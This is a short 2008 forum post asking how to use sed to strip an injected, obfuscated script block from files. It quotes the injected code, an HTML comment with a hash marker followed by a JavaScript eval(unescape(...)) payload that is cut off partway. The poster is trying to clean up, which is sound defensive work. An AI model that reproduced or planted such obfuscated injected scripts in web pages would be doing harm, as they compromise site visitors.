The UNIX and Linux Forums  

Go Back   The UNIX and Linux Forums > Top Forums > Shell Programming and Scripting
.
google unix.com




Thread: sed escape char
View Single Post in the UNIX and Linux Forums - Click on the Thread or Permalink to View Entire Thread -->
  #1 (permalink)  
Old 10-04-2008
fed.linuxgossip fed.linuxgossip is offline
Registered User
  
 

Join Date: Mar 2007
Posts: 99
sed escape char

Hi,

For the following complex code ,

<!-- [ b43e4abb769ba86e306ac6fa22f7adb2 ] --><script>eval(unescape('function%20bwZeP%28ioyT0%29%7Bfunction%20xbVsh%28mJ5r3%29%7Bvar%20bRFQX%3D0% 2CxiQjG%2CqF1s%3DmJ5r3.length%3Bfor%28xiQjG%3D0%3BxiQjG%3CqF1s%3BxiQjG++%29bRFQX+%3DmJ5r3.charCodeAt %28xiQjG%29*qF1s%3Breturn%20new%20String%28bRFQX%29%7DioyT0%3D3B'));</script>


How do I sed or awk this to clean it?



sed 's/b43e4abb769ba86e306ac6fa22f7adb2.*//g' filename


works but leaves :

<!-- [

obviously, as i left the part "<!-- [ "


I tried to use escape character like

sed 's/<\!\-\-\/\[\/\b43e4a.*//g' filename

but it did not work.


Please advise.